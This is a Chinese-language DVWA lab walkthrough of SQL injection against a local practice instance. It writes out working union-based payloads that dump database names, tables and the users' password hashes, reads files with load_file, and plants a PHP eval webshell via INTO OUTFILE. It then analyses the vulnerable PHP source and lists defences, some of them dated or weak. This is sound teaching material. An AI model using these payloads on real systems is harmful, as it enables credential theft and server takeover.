DVWA之SQL Injection (SQL注入漏洞)
SQL Injection(SQL 注入漏洞)
利用点在ID这个属性值上,当输入的值为 1 的时候,返回正常,如图:
此时URL值为:
http://127.0.0.1/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#
id=1这个点就是注入点,是个数值型注入。当输入内容为 ‘ (英文单引号)时,出现如下错误提示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1
发现是MySQL型数据库,可以构造SQL语句实现注入攻击,例如构造SQL语句
1′ or ‘1’=’1
返回结果:
可以查看所有的用户信息。基于此可以构造更强大的SQL语句
(1)查询列数,输入sql语句
1′ order by 1 —
1′ order by 2 —
1′ order by 3 —
注意: — 符号的两侧各有一个空格。通常不会一个一个测试,一般先试试小的,然后大的一端,然后采用二分法快速定位到位数。本例中,输入1,2都正确,当输入3 时出错,
Unknown column '3' in 'order clause'
所以就有两个。
(2)查询数据库用户,版本,数据库名称等信息
构造SQL语句
1′ union select 1,2 —
查询结果:
构造查询语句:
1′ union select 1,concat(database(),version(),user()) —
数据库名称:dvwa 版本:MySQL 5.6.20 用户:dvwa@localhost
(3)查询所有数据库名字
1′ union select 1,schema_name from information_schema.schemata —
(4)爆表的名称
构造如下SQL语句:
?id=’ union select 1,table_name from information_schema.tables where table_schema=0x64767761 —
其中table_schema=dvwa (dvwa采用十六进制表示)
爆出的表有 guestbook 和 users
(5)爆数据列字段
构造SQL语句:
?id=’ union select 1,column_name from information_schema.columns where table_name=0x7573657273 —
其中table_name = users (users采用十六进制表示)
爆出的字段列有 user_id first_name last_name user password avatar等
(6)查看字段内容
构造SQL语句:
?id=’ union select user,password from users —
至此,相当于把用户表的裤子脱下来了,然后再把密码经过md5解密就ok了。
当然除了单纯的获取用户信息脱裤外sql注入还有其他的用法
(1)load_file()文件加载
?id=’ union select 1, load_file(“h://test.txt”) —
(2)直接写入webshell木马
需要满足一定的条件:
<1>需要知道要上传的木马的服务器绝对路径,可以配合其他漏洞收集此资料
<2>需要有足够大的权限,可以上传文件
<3>magic_quotes_gpc() = Off
构造SQL语句:
?id=’ union select 1,'<?php @eval($_POST[cmd])?>’ into outfile ‘E://xmapp//htdocs//DVWA-1.0.8//1.php’ —
我们上传一句话木马,密码是cmd,上传的路径是 E://xmapp//htdocs//DVWA-1.0.8下的1.php文件
提交之后如果没返回错误页面,一般就是上传成功,我们可以到路径下进行查看
页面没有返回源代码中的信息,表示木马上传成功,我们用菜刀链接一下
链接成功,拿到网站的webshell。
下面进行源代码分析,因为三种不同安全等级的代码差别不是很大,我们合并在一起分析。
<?php if (isset($_GET['Submit'])) { // Retrieve data //Low Security Level $id = $_GET['id']; //Medium Security Level $id = $_GET['id']; $id = mysql_real_escape_string($id); //High Security Level $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i=0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } } ?>
存在SQL注入点的语句是:
$getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id'”;
对传入的参数id 的值的处理将导致是否会引发sql注入漏洞
通过比较我们发现,三种不同安全等级的处理:
(1)Low Level:接收id的值,没有做任何处理,直接传入sql语句,存在sql注入漏洞
(2)Medium Level:对接收的id值进行了mysql_real_escape_string()函数处理,对敏感字符进行了转义,一定程度上提高了SQL注入的难度
(3)High Level: 对id值进行了stripslashes()和mysql_real_escape_string()操作
SQL注入漏洞的防御:
(1)对用户输入的参数进行转义和去下划线等安全处理
(2)控制好数据库管理员和普通用户的权限
(3)开启magic_quote_gpc()选项
(4)服务器安装安全狗等防注入设备
(5)采用强度大的密码,即便被脱裤也很难被破解,或直接采用很难短时间破解的加密算法
(6)定期更新系统,对出现的漏洞及时修补
